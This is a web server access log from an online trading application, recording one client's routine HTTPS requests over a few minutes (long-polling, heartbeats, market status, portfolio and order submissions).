[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:56:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:56:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1816
[09/Jan/2026:15:56:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945671292 HTTP/1.1" -
[09/Jan/2026:15:56:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945676314 HTTP/1.1" -
[09/Jan/2026:15:56:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945681363 HTTP/1.1" -
[09/Jan/2026:15:56:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945686404 HTTP/1.1" -
[09/Jan/2026:15:56:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:56:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1879
[09/Jan/2026:15:57:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945691449 HTTP/1.1" -
[09/Jan/2026:15:57:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945696470 HTTP/1.1" -
[09/Jan/2026:15:57:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 304
[09/Jan/2026:15:57:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:57:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:57:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945701489 HTTP/1.1" -
[09/Jan/2026:15:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945706515 HTTP/1.1" -
[09/Jan/2026:15:57:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945711548 HTTP/1.1" -
[09/Jan/2026:15:57:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:57:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:57:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1167
[09/Jan/2026:15:57:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945716589 HTTP/1.1" -
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=619861B8C8D9FA72EC28DE534924D618 HTTP/1.1" 1015
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:57:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:57:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1918
[09/Jan/2026:15:57:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945721620 HTTP/1.1" -
[09/Jan/2026:15:57:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:57:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1890
[09/Jan/2026:15:57:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945726666 HTTP/1.1" -
[09/Jan/2026:15:57:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:57:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945731688 HTTP/1.1" -
[09/Jan/2026:15:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945736717 HTTP/1.1" -
[09/Jan/2026:15:57:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945741741 HTTP/1.1" -
[09/Jan/2026:15:57:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945746779 HTTP/1.1" -
[09/Jan/2026:15:57:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:57:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:58:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945751815 HTTP/1.1" -
[09/Jan/2026:15:58:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945756850 HTTP/1.1" -
[09/Jan/2026:15:58:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:58:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:58:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945761887 HTTP/1.1" -
[09/Jan/2026:15:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945766907 HTTP/1.1" -
[09/Jan/2026:15:58:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945771947 HTTP/1.1" -
[09/Jan/2026:15:58:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945776992 HTTP/1.1" -
[09/Jan/2026:15:58:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:58:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:58:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945782033 HTTP/1.1" -
[09/Jan/2026:15:58:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945787064 HTTP/1.1" -
[09/Jan/2026:15:58:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:58:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:58:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945792114 HTTP/1.1" -
[09/Jan/2026:15:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945797146 HTTP/1.1" -
[09/Jan/2026:15:58:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945802186 HTTP/1.1" -
[09/Jan/2026:15:58:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945807206 HTTP/1.1" -
[09/Jan/2026:15:58:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:58:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:59:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945812242 HTTP/1.1" -
[09/Jan/2026:15:59:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945817259 HTTP/1.1" -
[09/Jan/2026:15:59:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:59:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:59:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945822297 HTTP/1.1" -
[09/Jan/2026:15:59:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945827322 HTTP/1.1" -
[09/Jan/2026:15:59:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945832356 HTTP/1.1" -
[09/Jan/2026:15:59:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945837387 HTTP/1.1" -
[09/Jan/2026:15:59:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:59:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:59:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945842429 HTTP/1.1" -
[09/Jan/2026:15:59:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945847447 HTTP/1.1" -
[09/Jan/2026:15:59:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:59:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:59:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945852480 HTTP/1.1" -
[09/Jan/2026:15:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945857505 HTTP/1.1" -
[09/Jan/2026:15:59:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945862554 HTTP/1.1" -
[09/Jan/2026:15:59:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945867603 HTTP/1.1" -
[09/Jan/2026:15:59:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:59:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:00:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945872642 HTTP/1.1" -
[09/Jan/2026:16:00:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945877672 HTTP/1.1" -
[09/Jan/2026:16:00:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:00:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:00:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945882720 HTTP/1.1" -
[09/Jan/2026:16:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945887750 HTTP/1.1" -
[09/Jan/2026:16:00:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945892808 HTTP/1.1" -
[09/Jan/2026:16:00:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945897850 HTTP/1.1" -
[09/Jan/2026:16:00:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:00:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
